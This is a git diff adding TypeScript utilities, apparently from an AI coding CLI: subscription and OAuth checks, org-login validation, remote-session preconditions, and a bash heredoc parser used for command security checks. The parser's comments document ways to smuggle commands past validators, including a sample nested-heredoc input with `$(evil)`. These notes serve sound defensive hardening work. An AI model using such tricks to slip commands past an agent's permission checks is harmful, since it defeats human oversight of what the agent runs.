+  if (isClaudeAISubscriber()) {
+    return false
+  }
+
+  // Everyone else is an API customer (OAuth API customers, direct API key users, etc.)
+  return true
+}
+
+/**
+ * Gets OAuth account information when Anthropic auth is enabled.
+ * Returns undefined when using external API keys or third-party services.
+ */
+export function getOauthAccountInfo(): AccountInfo | undefined {
+  return isAnthropicAuthEnabled() ? getGlobalConfig().oauthAccount : undefined
+}
+
+/**
+ * Checks if overage/extra usage provisioning is allowed for this organization.
+ * This mirrors the logic in apps/claude-ai `useIsOverageProvisioningAllowed` hook as closely as possible.
+ */
+export function isOverageProvisioningAllowed(): boolean {
+  const accountInfo = getOauthAccountInfo()
+  const billingType = accountInfo?.billingType
+
+  // Must be a Claude subscriber with a supported subscription type
+  if (!isClaudeAISubscriber() || !billingType) {
+    return false
+  }
+
+  // only allow Stripe and mobile billing types to purchase extra usage
+  if (
+    billingType !== 'stripe_subscription' &&
+    billingType !== 'stripe_subscription_contracted' &&
+    billingType !== 'apple_subscription' &&
+    billingType !== 'google_play_subscription'
+  ) {
+    return false
+  }
+
+  return true
+}
+
+// Returns whether the user has Opus access at all, regardless of whether they
+// are a subscriber or PayG.
+export function hasOpusAccess(): boolean {
+  const subscriptionType = getSubscriptionType()
+
+  return (
+    subscriptionType === 'max' ||
+    subscriptionType === 'enterprise' ||
+    subscriptionType === 'team' ||
+    subscriptionType === 'pro' ||
+    // subscriptionType === null covers both API users and the case where
+    // subscribers do not have subscription type populated. For those
+    // subscribers, when in doubt, we should not limit their access to Opus.
+    subscriptionType === null
+  )
+}
+
+export function getSubscriptionType(): SubscriptionType | null {
+  // Check for mock subscription type first (ANT-only testing)
+  if (shouldUseMockSubscription()) {
+    return getMockSubscriptionType()
+  }
+
+  if (!isAnthropicAuthEnabled()) {
+    return null
+  }
+  const oauthTokens = getClaudeAIOAuthTokens()
+  if (!oauthTokens) {
+    return null
+  }
+
+  return oauthTokens.subscriptionType ?? null
+}
+
+export function isMaxSubscriber(): boolean {
+  return getSubscriptionType() === 'max'
+}
+
+export function isTeamSubscriber(): boolean {
+  return getSubscriptionType() === 'team'
+}
+
+export function isTeamPremiumSubscriber(): boolean {
+  return (
+    getSubscriptionType() === 'team' &&
+    getRateLimitTier() === 'default_claude_max_5x'
+  )
+}
+
+export function isEnterpriseSubscriber(): boolean {
+  return getSubscriptionType() === 'enterprise'
+}
+
+export function isProSubscriber(): boolean {
+  return getSubscriptionType() === 'pro'
+}
+
+export function getRateLimitTier(): string | null {
+  if (!isAnthropicAuthEnabled()) {
+    return null
+  }
+  const oauthTokens = getClaudeAIOAuthTokens()
+  if (!oauthTokens) {
+    return null
+  }
+
+  return oauthTokens.rateLimitTier ?? null
+}
+
+export function getSubscriptionName(): string {
+  const subscriptionType = getSubscriptionType()
+
+  switch (subscriptionType) {
+    case 'enterprise':
+      return 'Claude Enterprise'
+    case 'team':
+      return 'Claude Team'
+    case 'max':
+      return 'Claude Max'
+    case 'pro':
+      return 'Claude Pro'
+    default:
+      return 'Claude API'
+  }
+}
+
+/** Check if using third-party services (Bedrock or Vertex or Foundry) */
+export function isUsing3PServices(): boolean {
+  return !!(
+    isEnvTruthy(process.env.CLAUDE_CODE_USE_BEDROCK) ||
+    isEnvTruthy(process.env.CLAUDE_CODE_USE_VERTEX) ||
+    isEnvTruthy(process.env.CLAUDE_CODE_USE_FOUNDRY)
+  )
+}
+
+/**
+ * Get the configured otelHeadersHelper from settings
+ */
+function getConfiguredOtelHeadersHelper(): string | undefined {
+  const mergedSettings = getSettings_DEPRECATED() || {}
+  return mergedSettings.otelHeadersHelper
+}
+
+/**
+ * Check if the configured otelHeadersHelper comes from project settings (projectSettings or localSettings)
+ */
+export function isOtelHeadersHelperFromProjectOrLocalSettings(): boolean {
+  const otelHeadersHelper = getConfiguredOtelHeadersHelper()
+  if (!otelHeadersHelper) {
+    return false
+  }
+
+  const projectSettings = getSettingsForSource('projectSettings')
+  const localSettings = getSettingsForSource('localSettings')
+  return (
+    projectSettings?.otelHeadersHelper === otelHeadersHelper ||
+    localSettings?.otelHeadersHelper === otelHeadersHelper
+  )
+}
+
+// Cache for debouncing otelHeadersHelper calls
+let cachedOtelHeaders: Record<string, string> | null = null
+let cachedOtelHeadersTimestamp = 0
+const DEFAULT_OTEL_HEADERS_DEBOUNCE_MS = 29 * 60 * 1000 // 29 minutes
+
+export function getOtelHeadersFromHelper(): Record<string, string> {
+  const otelHeadersHelper = getConfiguredOtelHeadersHelper()
+
+  if (!otelHeadersHelper) {
+    return {}
+  }
+
+  // Return cached headers if still valid (debounce)
+  const debounceMs = parseInt(
+    process.env.CLAUDE_CODE_OTEL_HEADERS_HELPER_DEBOUNCE_MS ||
+      DEFAULT_OTEL_HEADERS_DEBOUNCE_MS.toString(),
+  )
+  if (
+    cachedOtelHeaders &&
+    Date.now() - cachedOtelHeadersTimestamp < debounceMs
+  ) {
+    return cachedOtelHeaders
+  }
+
+  if (isOtelHeadersHelperFromProjectOrLocalSettings()) {
+    // Check if trust has been established for this project
+    const hasTrust = checkHasTrustDialogAccepted()
+    if (!hasTrust) {
+      return {}
+    }
+  }
+
+  try {
+    const result = execSyncWithDefaults_DEPRECATED(otelHeadersHelper, {
+      timeout: 30000, // 30 seconds - allows for auth service latency
+    })
+      ?.toString()
+      .trim()
+    if (!result) {
+      throw new Error('otelHeadersHelper did not return a valid value')
+    }
+
+    const headers = jsonParse(result)
+    if (
+      typeof headers !== 'object' ||
+      headers === null ||
+      Array.isArray(headers)
+    ) {
+      throw new Error(
+        'otelHeadersHelper must return a JSON object with string key-value pairs',
+      )
+    }
+
+    // Validate all values are strings
+    for (const [key, value] of Object.entries(headers)) {
+      if (typeof value !== 'string') {
+        throw new Error(
+          `otelHeadersHelper returned non-string value for key "${key}": ${typeof value}`,
+        )
+      }
+    }
+
+    // Cache the result
+    cachedOtelHeaders = headers as Record<string, string>
+    cachedOtelHeadersTimestamp = Date.now()
+
+    return cachedOtelHeaders
+  } catch (error) {
+    logError(
+      new Error(
+        `Error getting OpenTelemetry headers from otelHeadersHelper (in settings): ${errorMessage(error)}`,
+      ),
+    )
+    throw error
+  }
+}
+
+function isConsumerPlan(plan: SubscriptionType): plan is 'max' | 'pro' {
+  return plan === 'max' || plan === 'pro'
+}
+
+export function isConsumerSubscriber(): boolean {
+  const subscriptionType = getSubscriptionType()
+  return (
+    isClaudeAISubscriber() &&
+    subscriptionType !== null &&
+    isConsumerPlan(subscriptionType)
+  )
+}
+
+export type UserAccountInfo = {
+  subscription?: string
+  tokenSource?: string
+  apiKeySource?: ApiKeySource
+  organization?: string
+  email?: string
+}
+
+export function getAccountInformation() {
+  const apiProvider = getAPIProvider()
+  // Only provide account info for first-party Anthropic API
+  if (apiProvider !== 'firstParty') {
+    return undefined
+  }
+  const { source: authTokenSource } = getAuthTokenSource()
+  const accountInfo: UserAccountInfo = {}
+  if (
+    authTokenSource === 'CLAUDE_CODE_OAUTH_TOKEN' ||
+    authTokenSource === 'CLAUDE_CODE_OAUTH_TOKEN_FILE_DESCRIPTOR'
+  ) {
+    accountInfo.tokenSource = authTokenSource
+  } else if (isClaudeAISubscriber()) {
+    accountInfo.subscription = getSubscriptionName()
+  } else {
+    accountInfo.tokenSource = authTokenSource
+  }
+  const { key: apiKey, source: apiKeySource } = getAnthropicApiKeyWithSource()
+  if (apiKey) {
+    accountInfo.apiKeySource = apiKeySource
+  }
+
+  // We don't know the organization if we're relying on an external API key or auth token
+  if (
+    authTokenSource === 'claude.ai' ||
+    apiKeySource === '/login managed key'
+  ) {
+    // Get organization name from OAuth account info
+    const orgName = getOauthAccountInfo()?.organizationName
+    if (orgName) {
+      accountInfo.organization = orgName
+    }
+  }
+  const email = getOauthAccountInfo()?.emailAddress
+  if (
+    (authTokenSource === 'claude.ai' ||
+      apiKeySource === '/login managed key') &&
+    email
+  ) {
+    accountInfo.email = email
+  }
+  return accountInfo
+}
+
+/**
+ * Result of org validation — either success or a descriptive error.
+ */
+export type OrgValidationResult =
+  | { valid: true }
+  | { valid: false; message: string }
+
+/**
+ * Validate that the active OAuth token belongs to the organization required
+ * by `forceLoginOrgUUID` in managed settings. Returns a result object
+ * rather than throwing so callers can choose how to surface the error.
+ *
+ * Fails closed: if `forceLoginOrgUUID` is set and we cannot determine the
+ * token's org (network error, missing profile data), validation fails.
+ */
+export async function validateForceLoginOrg(): Promise<OrgValidationResult> {
+  // `claude ssh` remote: real auth lives on the local machine and is injected
+  // by the proxy. The placeholder token can't be validated against the profile
+  // endpoint. The local side already ran this check before establishing the session.
+  if (process.env.ANTHROPIC_UNIX_SOCKET) {
+    return { valid: true }
+  }
+
+  if (!isAnthropicAuthEnabled()) {
+    return { valid: true }
+  }
+
+  const requiredOrgUuid =
+    getSettingsForSource('policySettings')?.forceLoginOrgUUID
+  if (!requiredOrgUuid) {
+    return { valid: true }
+  }
+
+  // Ensure the access token is fresh before hitting the profile endpoint.
+  // No-op for env-var tokens (refreshToken is null).
+  await checkAndRefreshOAuthTokenIfNeeded()
+
+  const tokens = getClaudeAIOAuthTokens()
+  if (!tokens) {
+    return { valid: true }
+  }
+
+  // Always fetch the authoritative org UUID from the profile endpoint.
+  // Even keychain-sourced tokens verify server-side: the cached org UUID
+  // in ~/.claude.json is user-writable and cannot be trusted.
+  const { source } = getAuthTokenSource()
+  const isEnvVarToken =
+    source === 'CLAUDE_CODE_OAUTH_TOKEN' ||
+    source === 'CLAUDE_CODE_OAUTH_TOKEN_FILE_DESCRIPTOR'
+
+  const profile = await getOauthProfileFromOauthToken(tokens.accessToken)
+  if (!profile) {
+    // Fail closed — we can't verify the org
+    return {
+      valid: false,
+      message:
+        `Unable to verify organization for the current authentication token.\n` +
+        `This machine requires organization ${requiredOrgUuid} but the profile could not be fetched.\n` +
+        `This may be a network error, or the token may lack the user:profile scope required for\n` +
+        `verification (tokens from 'claude setup-token' do not include this scope).\n` +
+        `Try again, or obtain a full-scope token via 'claude auth login'.`,
+    }
+  }
+
+  const tokenOrgUuid = profile.organization.uuid
+  if (tokenOrgUuid === requiredOrgUuid) {
+    return { valid: true }
+  }
+
+  if (isEnvVarToken) {
+    const envVarName =
+      source === 'CLAUDE_CODE_OAUTH_TOKEN'
+        ? 'CLAUDE_CODE_OAUTH_TOKEN'
+        : 'CLAUDE_CODE_OAUTH_TOKEN_FILE_DESCRIPTOR'
+    return {
+      valid: false,
+      message:
+        `The ${envVarName} environment variable provides a token for a\n` +
+        `different organization than required by this machine's managed settings.\n\n` +
+        `Required organization: ${requiredOrgUuid}\n` +
+        `Token organization:   ${tokenOrgUuid}\n\n` +
+        `Remove the environment variable or obtain a token for the correct organization.`,
+    }
+  }
+
+  return {
+    valid: false,
+    message:
+      `Your authentication token belongs to organization ${tokenOrgUuid},\n` +
+      `but this machine requires organization ${requiredOrgUuid}.\n\n` +
+      `Please log in with the correct organization: claude auth login`,
+  }
+}
+
+class GcpCredentialsTimeoutError extends Error {}
diff --git a/cc-haha/src/utils/awsAuthStatusManager.ts b/cc-haha/src/utils/awsAuthStatusManager.ts
new file mode 100644
index 0000000..3b3952a
--- /dev/null
+++ b/cc-haha/src/utils/awsAuthStatusManager.ts
@@ -0,0 +1,81 @@
+/**
+ * Singleton manager for cloud-provider authentication status (AWS Bedrock,
+ * GCP Vertex). Communicates auth refresh state between auth utilities and
+ * React components / SDK output. The SDK 'auth_status' message shape is
+ * provider-agnostic, so a single manager serves all providers.
+ *
+ * Legacy name: originally AWS-only; now used by all cloud auth refresh flows.
+ */
+
+import { createSignal } from './signal.js'
+
+export type AwsAuthStatus = {
+  isAuthenticating: boolean
+  output: string[]
+  error?: string
+}
+
+export class AwsAuthStatusManager {
+  private static instance: AwsAuthStatusManager | null = null
+  private status: AwsAuthStatus = {
+    isAuthenticating: false,
+    output: [],
+  }
+  private changed = createSignal<[status: AwsAuthStatus]>()
+
+  static getInstance(): AwsAuthStatusManager {
+    if (!AwsAuthStatusManager.instance) {
+      AwsAuthStatusManager.instance = new AwsAuthStatusManager()
+    }
+    return AwsAuthStatusManager.instance
+  }
+
+  getStatus(): AwsAuthStatus {
+    return {
+      ...this.status,
+      output: [...this.status.output],
+    }
+  }
+
+  startAuthentication(): void {
+    this.status = {
+      isAuthenticating: true,
+      output: [],
+    }
+    this.changed.emit(this.getStatus())
+  }
+
+  addOutput(line: string): void {
+    this.status.output.push(line)
+    this.changed.emit(this.getStatus())
+  }
+
+  setError(error: string): void {
+    this.status.error = error
+    this.changed.emit(this.getStatus())
+  }
+
+  endAuthentication(success: boolean): void {
+    if (success) {
+      // Clear the status completely on success
+      this.status = {
+        isAuthenticating: false,
+        output: [],
+      }
+    } else {
+      // Keep the output visible on failure
+      this.status.isAuthenticating = false
+    }
+    this.changed.emit(this.getStatus())
+  }
+
+  subscribe = this.changed.subscribe
+
+  // Clean up for testing
+  static reset(): void {
+    if (AwsAuthStatusManager.instance) {
+      AwsAuthStatusManager.instance.changed.clear()
+      AwsAuthStatusManager.instance = null
+    }
+  }
+}
diff --git a/cc-haha/src/utils/background/remote/preconditions.ts b/cc-haha/src/utils/background/remote/preconditions.ts
new file mode 100644
index 0000000..a7b229b
--- /dev/null
+++ b/cc-haha/src/utils/background/remote/preconditions.ts
@@ -0,0 +1,235 @@
+import axios from 'axios'
+import { getOauthConfig } from 'src/constants/oauth.js'
+import { getOrganizationUUID } from 'src/services/oauth/client.js'
+import { getFeatureValue_CACHED_MAY_BE_STALE } from '../../../services/analytics/growthbook.js'
+import {
+  checkAndRefreshOAuthTokenIfNeeded,
+  getClaudeAIOAuthTokens,
+  isClaudeAISubscriber,
+} from '../../auth.js'
+import { getCwd } from '../../cwd.js'
+import { logForDebugging } from '../../debug.js'
+import { detectCurrentRepository } from '../../detectRepository.js'
+import { errorMessage } from '../../errors.js'
+import { findGitRoot, getIsClean } from '../../git.js'
+import { getOAuthHeaders } from '../../teleport/api.js'
+import { fetchEnvironments } from '../../teleport/environments.js'
+
+/**
+ * Checks if user needs to log in with Claude.ai
+ * Extracted from getTeleportErrors() in TeleportError.tsx
+ * @returns true if login is required, false otherwise
+ */
+export async function checkNeedsClaudeAiLogin(): Promise<boolean> {
+  if (!isClaudeAISubscriber()) {
+    return false
+  }
+  return checkAndRefreshOAuthTokenIfNeeded()
+}
+
+/**
+ * Checks if git working directory is clean (no uncommitted changes)
+ * Ignores untracked files since they won't be lost during branch switching
+ * Extracted from getTeleportErrors() in TeleportError.tsx
+ * @returns true if git is clean, false otherwise
+ */
+export async function checkIsGitClean(): Promise<boolean> {
+  const isClean = await getIsClean({ ignoreUntracked: true })
+  return isClean
+}
+
+/**
+ * Checks if user has access to at least one remote environment
+ * @returns true if user has remote environments, false otherwise
+ */
+export async function checkHasRemoteEnvironment(): Promise<boolean> {
+  try {
+    const environments = await fetchEnvironments()
+    return environments.length > 0
+  } catch (error) {
+    logForDebugging(`checkHasRemoteEnvironment failed: ${errorMessage(error)}`)
+    return false
+  }
+}
+
+/**
+ * Checks if current directory is inside a git repository (has .git/).
+ * Distinct from checkHasGitRemote — a local-only repo passes this but not that.
+ */
+export function checkIsInGitRepo(): boolean {
+  return findGitRoot(getCwd()) !== null
+}
+
+/**
+ * Checks if current repository has a GitHub remote configured.
+ * Returns false for local-only repos (git init with no `origin`).
+ */
+export async function checkHasGitRemote(): Promise<boolean> {
+  const repository = await detectCurrentRepository()
+  return repository !== null
+}
+
+/**
+ * Checks if GitHub app is installed on a specific repository
+ * @param owner The repository owner (e.g., "anthropics")
+ * @param repo The repository name (e.g., "claude-cli-internal")
+ * @returns true if GitHub app is installed, false otherwise
+ */
+export async function checkGithubAppInstalled(
+  owner: string,
+  repo: string,
+  signal?: AbortSignal,
+): Promise<boolean> {
+  try {
+    const accessToken = getClaudeAIOAuthTokens()?.accessToken
+    if (!accessToken) {
+      logForDebugging(
+        'checkGithubAppInstalled: No access token found, assuming app not installed',
+      )
+      return false
+    }
+
+    const orgUUID = await getOrganizationUUID()
+    if (!orgUUID) {
+      logForDebugging(
+        'checkGithubAppInstalled: No org UUID found, assuming app not installed',
+      )
+      return false
+    }
+
+    const url = `${getOauthConfig().BASE_API_URL}/api/oauth/organizations/${orgUUID}/code/repos/${owner}/${repo}`
+    const headers = {
+      ...getOAuthHeaders(accessToken),
+      'x-organization-uuid': orgUUID,
+    }
+
+    logForDebugging(`Checking GitHub app installation for ${owner}/${repo}`)
+
+    const response = await axios.get<{
+      repo: {
+        name: string
+        owner: { login: string }
+        default_branch: string
+      }
+      status: {
+        app_installed: boolean
+        relay_enabled: boolean
+      } | null
+    }>(url, {
+      headers,
+      timeout: 15000,
+      signal,
+    })
+
+    if (response.status === 200) {
+      if (response.data.status) {
+        const installed = response.data.status.app_installed
+        logForDebugging(
+          `GitHub app ${installed ? 'is' : 'is not'} installed on ${owner}/${repo}`,
+        )
+        return installed
+      }
+      // status is null - app is not installed on this repo
+      logForDebugging(
+        `GitHub app is not installed on ${owner}/${repo} (status is null)`,
+      )
+      return false
+    }
+
+    logForDebugging(
+      `checkGithubAppInstalled: Unexpected response status ${response.status}`,
+    )
+    return false
+  } catch (error) {
+    // 4XX errors typically mean app is not installed or repo not accessible
+    if (axios.isAxiosError(error)) {
+      const status = error.response?.status
+      if (status && status >= 400 && status < 500) {
+        logForDebugging(
+          `checkGithubAppInstalled: Got ${status} error, app likely not installed on ${owner}/${repo}`,
+        )
+        return false
+      }
+    }
+
+    logForDebugging(`checkGithubAppInstalled error: ${errorMessage(error)}`)
+    return false
+  }
+}
+
+/**
+ * Checks if the user has synced their GitHub credentials via /web-setup
+ * @returns true if GitHub token is synced, false otherwise
+ */
+export async function checkGithubTokenSynced(): Promise<boolean> {
+  try {
+    const accessToken = getClaudeAIOAuthTokens()?.accessToken
+    if (!accessToken) {
+      logForDebugging('checkGithubTokenSynced: No access token found')
+      return false
+    }
+
+    const orgUUID = await getOrganizationUUID()
+    if (!orgUUID) {
+      logForDebugging('checkGithubTokenSynced: No org UUID found')
+      return false
+    }
+
+    const url = `${getOauthConfig().BASE_API_URL}/api/oauth/organizations/${orgUUID}/sync/github/auth`
+    const headers = {
+      ...getOAuthHeaders(accessToken),
+      'x-organization-uuid': orgUUID,
+    }
+
+    logForDebugging('Checking if GitHub token is synced via web-setup')
+
+    const response = await axios.get(url, {
+      headers,
+      timeout: 15000,
+    })
+
+    const synced =
+      response.status === 200 && response.data?.is_authenticated === true
+    logForDebugging(
+      `GitHub token synced: ${synced} (status=${response.status}, data=${JSON.stringify(response.data)})`,
+    )
+    return synced
+  } catch (error) {
+    if (axios.isAxiosError(error)) {
+      const status = error.response?.status
+      if (status && status >= 400 && status < 500) {
+        logForDebugging(
+          `checkGithubTokenSynced: Got ${status}, token not synced`,
+        )
+        return false
+      }
+    }
+
+    logForDebugging(`checkGithubTokenSynced error: ${errorMessage(error)}`)
+    return false
+  }
+}
+
+type RepoAccessMethod = 'github-app' | 'token-sync' | 'none'
+
+/**
+ * Tiered check for whether a GitHub repo is accessible for remote operations.
+ * 1. GitHub App installed on the repo
+ * 2. GitHub token synced via /web-setup
+ * 3. Neither — caller should prompt user to set up access
+ */
+export async function checkRepoForRemoteAccess(
+  owner: string,
+  repo: string,
+): Promise<{ hasAccess: boolean; method: RepoAccessMethod }> {
+  if (await checkGithubAppInstalled(owner, repo)) {
+    return { hasAccess: true, method: 'github-app' }
+  }
+  if (
+    getFeatureValue_CACHED_MAY_BE_STALE('tengu_cobalt_lantern', false) &&
+    (await checkGithubTokenSynced())
+  ) {
+    return { hasAccess: true, method: 'token-sync' }
+  }
+  return { hasAccess: false, method: 'none' }
+}
diff --git a/cc-haha/src/utils/bash/heredoc.ts b/cc-haha/src/utils/bash/heredoc.ts
new file mode 100644
index 0000000..f58b44b
--- /dev/null
+++ b/cc-haha/src/utils/bash/heredoc.ts
@@ -0,0 +1,733 @@
+/**
+ * Heredoc extraction and restoration utilities.
+ *
+ * The shell-quote library parses `<<` as two separate `<` redirect operators,
+ * which breaks command splitting for heredoc syntax. This module provides
+ * utilities to extract heredocs before parsing and restore them after.
+ *
+ * Supported heredoc variations:
+ * - <<WORD      - basic heredoc
+ * - <<'WORD'    - single-quoted delimiter (no variable expansion in content)
+ * - <<"WORD"    - double-quoted delimiter (with variable expansion)
+ * - <<-WORD     - dash prefix (strips leading tabs from content)
+ * - <<-'WORD'   - combined dash and quoted delimiter
+ *
+ * Known limitations:
+ * - Heredocs inside backtick command substitution may not be extracted
+ * - Very complex multi-heredoc scenarios may not be extracted
+ *
+ * When extraction fails, the command passes through unchanged. This is safe
+ * because the unextracted heredoc will either cause shell-quote parsing to fail
+ * (falling back to treating the whole command as one unit) or require manual
+ * approval for each apparent subcommand.
+ *
+ * @module
+ */
+
+import { randomBytes } from 'crypto'
+
+const HEREDOC_PLACEHOLDER_PREFIX = '__HEREDOC_'
+const HEREDOC_PLACEHOLDER_SUFFIX = '__'
+
+/**
+ * Generates a random hex string for placeholder uniqueness.
+ * This prevents collision when command text literally contains "__HEREDOC_N__".
+ */
+function generatePlaceholderSalt(): string {
+  // Generate 8 random bytes as hex (16 characters)
+  return randomBytes(8).toString('hex')
+}
+
+/**
+ * Regex pattern for matching heredoc start syntax.
+ *
+ * Two alternatives handle quoted vs unquoted delimiters differently:
+ *
+ * Alternative 1 (quoted): (['"]) (\\?\w+) \2
+ *   Captures the opening quote, then the delimiter word (which MAY include a
+ *   leading backslash since it's literal inside quotes), then the closing quote.
+ *   In bash, single quotes make EVERYTHING literal including backslashes:
+ *     <<'\EOF' → delimiter is \EOF (with backslash)
+ *     <<'EOF'  → delimiter is EOF
+ *   Double quotes also preserve backslashes before non-special chars:
+ *     <<"\EOF" → delimiter is \EOF
+ *
+ * Alternative 2 (unquoted): \\?(\w+)
+ *   Optionally consumes a leading backslash (escape), then captures the word.
+ *   In bash, an unquoted backslash escapes the next character:
+ *     <<\EOF → delimiter is EOF (backslash consumed as escape)
+ *     <<EOF  → delimiter is EOF (plain)
+ *
+ * SECURITY: The backslash MUST be inside the capture group for quoted
+ * delimiters but OUTSIDE for unquoted ones. The old regex had \\? outside
+ * the capture group unconditionally, causing <<'\EOF' to extract delimiter
+ * "EOF" while bash uses "\EOF", allowing command smuggling.
+ *
+ * Note: Uses [ \t]* (not \s*) to avoid matching across newlines, which would be
+ * a security issue (could hide commands between << and the delimiter).
+ */
+const HEREDOC_START_PATTERN =
+  // eslint-disable-next-line custom-rules/no-lookbehind-regex -- gated by command.includes('<<') at extractHeredocs() entry
+  /(?<!<)<<(?!<)(-)?[ \t]*(?:(['"])(\\?\w+)\2|\\?(\w+))/
+
+export type HeredocInfo = {
+  /** The full heredoc text including << operator, delimiter, content, and closing delimiter */
+  fullText: string
+  /** The delimiter word (without quotes) */
+  delimiter: string
+  /** Start position of the << operator in the original command */
+  operatorStartIndex: number
+  /** End position of the << operator (exclusive) - content on same line after this is preserved */
+  operatorEndIndex: number
+  /** Start position of heredoc content (the newline before content) */
+  contentStartIndex: number
+  /** End position of heredoc content including closing delimiter (exclusive) */
+  contentEndIndex: number
+}
+
+export type HeredocExtractionResult = {
+  /** The command with heredocs replaced by placeholders */
+  processedCommand: string
+  /** Map of placeholder string to original heredoc info */
+  heredocs: Map<string, HeredocInfo>
+}
+
+/**
+ * Extracts heredocs from a command string and replaces them with placeholders.
+ *
+ * This allows shell-quote to parse the command without mangling heredoc syntax.
+ * After parsing, use `restoreHeredocs` to replace placeholders with original content.
+ *
+ * @param command - The shell command string potentially containing heredocs
+ * @returns Object containing the processed command and a map of placeholders to heredoc info
+ *
+ * @example
+ * ```ts
+ * const result = extractHeredocs(`cat <<EOF
+ * hello world
+ * EOF`);
+ * // result.processedCommand === "cat __HEREDOC_0_a1b2c3d4__" (salt varies)
+ * // result.heredocs has the mapping to restore later
+ * ```
+ */
+export function extractHeredocs(
+  command: string,
+  options?: { quotedOnly?: boolean },
+): HeredocExtractionResult {
+  const heredocs = new Map<string, HeredocInfo>()
+
+  // Quick check: if no << present, skip processing
+  if (!command.includes('<<')) {
+    return { processedCommand: command, heredocs }
+  }
+
+  // Security: Paranoid pre-validation. Our incremental quote/comment scanner
+  // (see advanceScan below) does simplified parsing that cannot handle all
+  // bash quoting constructs. If the command contains
+  // constructs that could desync our quote tracking, bail out entirely
+  // rather than risk extracting a heredoc with incorrect boundaries.
+  // This is defense-in-depth: each construct below has caused or could
+  // cause a security bypass if we attempt extraction.
+  //
+  // Specifically, we bail if the command contains:
+  // 1. $'...' or $"..." (ANSI-C / locale quoting — our quote tracker
+  //    doesn't handle the $ prefix, would misparse the quotes)
+  // 2. Backtick command substitution (backtick nesting has complex parsing
+  //    rules, and backtick acts as shell_eof_token for PST_EOFTOKEN in
+  //    make_cmd.c:606, enabling early heredoc closure that our parser
+  //    can't replicate)
+  if (/\$['"]/.test(command)) {
+    return { processedCommand: command, heredocs }
+  }
+  // Check for backticks in the command text before the first <<.
+  // Backtick nesting has complex parsing rules, and backtick acts as
+  // shell_eof_token for PST_EOFTOKEN (make_cmd.c:606), enabling early
+  // heredoc closure that our parser can't replicate. We only check
+  // before << because backticks in heredoc body content are harmless.
+  const firstHeredocPos = command.indexOf('<<')
+  if (firstHeredocPos > 0 && command.slice(0, firstHeredocPos).includes('`')) {
+    return { processedCommand: command, heredocs }
+  }
+
+  // Security: Check for arithmetic evaluation context before the first `<<`.
+  // In bash, `(( x = 1 << 2 ))` uses `<<` as a BIT-SHIFT operator, not a
+  // heredoc. If we mis-extract it, subsequent lines become "heredoc content"
+  // and are hidden from security validators, while bash executes them as
+  // separate commands. We bail entirely if `((` appears before `<<` without
+  // a matching `))` — we can't reliably distinguish arithmetic `<<` from
+  // heredoc `<<` in that context. Note: $(( is already caught by
+  // validateDangerousPatterns, but bare (( is not.
+  if (firstHeredocPos > 0) {
+    const beforeHeredoc = command.slice(0, firstHeredocPos)
+    // Count (( and )) occurrences — if unbalanced, `<<` may be arithmetic
+    const openArith = (beforeHeredoc.match(/\(\(/g) || []).length
+    const closeArith = (beforeHeredoc.match(/\)\)/g) || []).length
+    if (openArith > closeArith) {
+      return { processedCommand: command, heredocs }
+    }
+  }
+
+  // Create a global version of the pattern for iteration
+  const heredocStartPattern = new RegExp(HEREDOC_START_PATTERN.source, 'g')
+
+  const heredocMatches: HeredocInfo[] = []
+  // Security: When quotedOnly skips an unquoted heredoc, we still need to
+  // track its content range so the nesting filter can reject quoted heredocs
+  // that appear INSIDE the skipped unquoted heredoc's body. Without this,
+  // `cat <<EOF\n<<'SAFE'\n$(evil)\nSAFE\nEOF` would extract <<'SAFE' as a
+  // top-level heredoc, hiding $(evil) from validators — even though in bash,
+  // $(evil) IS executed (unquoted <<EOF expands its body).
+  const skippedHeredocRanges: Array<{
+    contentStartIndex: number
+    contentEndIndex: number
+  }> = []
+  let match: RegExpExecArray | null
+
+  // Incremental quote/comment scanner state.
+  //
+  // The regex walks forward through the command, and match.index is monotonically
+  // increasing. Previously, isInsideQuotedString and isInsideComment each
+  // re-scanned from position 0 on every match — O(n²) when the heredoc body
+  // contains many `<<` (e.g. C++ with `std::cout << ...`). A 200-line C++
+  // heredoc hit ~3.7ms per extractHeredocs call, and Bash security validation
+  // calls extractHeredocs multiple times per command.
+  //
+  // Instead, track quote/comment/escape state incrementally and advance from
+  // the last scanned position. This preserves the OLD helpers' exact semantics:
+  //
+  //   Quote state (was isInsideQuotedString) is COMMENT-BLIND — it never sees
+  //   `#` and never skips characters for being "in a comment". Inside single
+  //   quotes, everything is literal. Inside double quotes, backslash escapes
+  //   the next char. An unquoted backslash run of odd length escapes the next
+  //   char.
+  //
+  //   Comment state (was isInsideComment) observes quote state (# inside quotes
+  //   is not a comment) but NOT the reverse. The old helper used a per-call
+  //   `lineStart = lastIndexOf('\n', pos-1)+1` bound on which `#` to consider;
+  //   equivalently, any physical `\n` clears comment state — including `\n`
+  //   inside quotes (since lastIndexOf was quote-blind).
+  //
+  // SECURITY: Do NOT let comment mode suppress quote-state updates. If `#` put
+  // the scanner in a mode that skipped quote chars, then `echo x#"\n<<...`
+  // (where bash treats `#` as part of the word `x#`, NOT a comment) would
+  // report the `<<` as unquoted and EXTRACT it — hiding content from security
+  // validators. The old isInsideQuotedString was comment-blind; we preserve
+  // that. Both old and new over-eagerly treat any unquoted `#` as a comment
+  // (bash requires word-start), but since quote tracking is independent, the
+  // over-eagerness only affects the comment check — causing SKIPS (safe
+  // direction), never extra EXTRACTIONS.
+  let scanPos = 0
+  let scanInSingleQuote = false
+  let scanInDoubleQuote = false
+  let scanInComment = false
+  // Inside "...": true if the previous char was a backslash (next char is escaped).
+  // Carried across advanceScan calls so a `\` at scanPos-1 correctly escapes
+  // the char at scanPos.
+  let scanDqEscapeNext = false
+  // Unquoted context: length of the consecutive backslash run ending at scanPos-1.
+  // Used to determine if the char at scanPos is escaped (odd run = escaped).
+  let scanPendingBackslashes = 0
+
+  const advanceScan = (target: number): void => {
+    for (let i = scanPos; i < target; i++) {
+      const ch = command[i]!
+
+      // Any physical newline clears comment state. The old isInsideComment
+      // used `lineStart = lastIndexOf('\n', pos-1)+1` (quote-blind), so a
+      // `\n` inside quotes still advanced lineStart. Match that here by
+      // clearing BEFORE the quote branches.
+      if (ch === '\n') scanInComment = false
+
+      if (scanInSingleQuote) {
+        if (ch === "'") scanInSingleQuote = false
+        continue
+      }
+
+      if (scanInDoubleQuote) {
+        if (scanDqEscapeNext) {
+          scanDqEscapeNext = false
+          continue
+        }
+        if (ch === '\\') {
+          scanDqEscapeNext = true
+          continue
+        }
+        if (ch === '"') scanInDoubleQuote = false
+        continue
+      }
+
+      // Unquoted context. Quote tracking is COMMENT-BLIND (same as the old
+      // isInsideQuotedString): we do NOT skip chars for being inside a
